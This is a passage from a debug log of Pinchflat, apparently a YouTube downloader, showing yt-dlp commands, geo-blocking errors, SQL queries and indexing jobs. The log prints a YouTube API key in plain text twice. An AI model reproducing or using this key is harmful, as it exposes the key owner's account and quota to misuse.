Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:26:30.492 [error] Error creating media item '-iRUq-Dy7QE' from URL: {:error, "ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:26:30.492 [debug] QUERY OK source="settings" db=0.1ms idle=469.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:30.492 [debug] QUERY OK source="settings" db=0.0ms idle=469.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:30.492 [debug] Running yt-dlp command for action: get_media_attributes 16:26:30.494 [debug] QUERY OK source="settings" db=0.1ms idle=470.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:30.494 [debug] QUERY OK source="settings" db=0.1ms idle=471.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:30.494 [debug] QUERY OK source="settings" db=0.0ms idle=464.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:30.494 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d0/39/d0395d4bcd8345c0cfcddfee639568adf54808795bf2b4a2c1f3e33042d45c01.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:26:31.954 [info] {"args":{"id":33},"id":3799924,"meta":{},"system_time":1770762391954140649,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:31.954 [debug] QUERY OK source="sources" db=0.2ms idle=76.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 16:26:31.954 [debug] QUERY OK source="settings" db=0.1ms idle=76.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:31.955 [debug] QUERY OK source="media_profiles" db=0.1ms idle=76.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:26:31.955 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:31.955 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 16:26:31.955 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:31.955 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:26:31.979 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d0/39/d0395d4bcd8345c0cfcddfee639568adf54808795bf2b4a2c1f3e33042d45c01.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:26:31.979 [error] Error creating media item 'LmmeWg_DHdc' from URL: {:error, "ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:26:31.979 [debug] QUERY OK source="settings" db=0.1ms idle=24.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:31.979 [debug] QUERY OK source="settings" db=0.0ms idle=24.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:31.979 [debug] Running yt-dlp command for action: get_media_attributes 16:26:31.980 [debug] QUERY OK source="settings" db=0.0ms idle=25.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:31.980 [debug] QUERY OK source="settings" db=0.0ms idle=25.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:31.980 [debug] QUERY OK source="settings" db=0.1ms idle=25.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:31.981 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/0e/04/0e04d00f46d2e58163515e8a3f8c57eecfc6b95b1acd3c6207359fec6af0d5d2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:26:32.092 [debug] QUERY OK source="media_items" db=0.9ms idle=111.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", "1hQrvRxwITA", "KG4xHJfvHAw", "yza8omO0x6s", "x0tgdtpjnpc", "ZdH7NdO7efQ", "hi8X2YhiP8A", "yxrbW3ofuJo", "7Sz9VfcOEKo", "baF6VombepE", "Pa53dGNd9Fw", "p3P-Kod95V4", "7y4_DW4L8Hc", "OZUf6aTxUZE", "jgQGUwBGva4", "TeV0gYqyBnY", "ezKhazl-mdI", "pEmZcPGnYfc", "vPA3i--1sM4", "xT4HZZ2N2-c", "vC9N7PgIvEM", "A0mp9XB_MaU", "ZXK6IywE0bQ", "o1wXhGL8_GM", "j801RCel8Nc", "EIUwdOmluFE", "oka31nU8V1c", ...] 16:26:32.093 [debug] QUERY OK source="media_items" db=0.5ms idle=113.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 16:26:32.094 [debug] QUERY OK source="tasks" db=0.1ms idle=113.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799962, 33, ~U[2026-02-10 22:26:32Z], ~U[2026-02-10 22:26:32Z]] 16:26:32.095 [info] {"args":{"id":33},"id":3799924,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":140659,"event":"job:stop","queue_time":503499,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:33.006 [info] {"args":{"id":12},"id":3799925,"meta":{},"system_time":1770762393006890278,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:33.007 [debug] QUERY OK source="sources" db=0.1ms idle=912.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 16:26:33.007 [debug] QUERY OK source="settings" db=0.1ms idle=912.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:33.007 [debug] QUERY OK source="media_profiles" db=0.0ms idle=906.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:26:33.007 [debug] QUERY OK source="settings" db=0.0ms idle=58.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:33.007 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 16:26:33.008 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:33.008 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:26:33.116 [debug] QUERY OK source="media_items" db=0.5ms idle=108.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "qPHwRGTGIOU", "GPSNT5vjSO8", "DwdL0AuomMU", "rzw4qL_UYms", "SbfGsYGmtvo", "aDMmIaj6YYY", "EapmwCmB2ZU", "wNqOyIOkE0g", "2JE39EiF7QY", "v3CorAvJSj8", "TkTLGcowRjo", "8EjtJZpkuDE", "VevHScaB_Kk", "0rXpncpkLcw", "4w68dxCyjLg", "4lf3C1Jv0sE", "bfKoARppLGw", "ILWWKspXrwY", "FRms-dKHwe8", "yfw74KelJFk", "JXbldzWu-Nc", "3lXAPC-8IC4", "slVuVPAUNI4", "cwNSjMBnZYA", "N1CGq7zSjjM", "0lc3PF49yOQ", "rYivduQ5Xww", "5JfhSmrKK3A", "-4VeoAkKFg4", "Lztt0KYUpRU", "efwg7hwFbeU", "tdU3lMg5K2A", "O8PKhwdFXHk", "vEfPCID6jf4", "e2Kb6Z1oGrc", "7gTz_JmlYtQ", "H175G8NH2Cg", "3EoARmGYyVc", "ogYzdHzumeA", "nrioXZyigd8", "kq3Q7jlcDDQ", "8iprAik8kjk", "yRzc5_uGNO4", "7qTWoV6WUV4", "N1eo5bXtZeM", "QRS3uWoAHBk", "csKezW4PZ2w", "-sDDoW7YAow", "iEAShZ8TJCs", ...] 16:26:33.117 [debug] QUERY OK source="media_items" db=0.3ms idle=109.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 16:26:33.177 [debug] QUERY OK source="tasks" db=0.2ms idle=169.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799963, 12, ~U[2026-02-10 22:26:33Z], ~U[2026-02-10 22:26:33Z]] 16:26:33.178 [info] {"args":{"id":12},"id":3799925,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":170902,"event":"job:stop","queue_time":528198,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:33.183 [info] 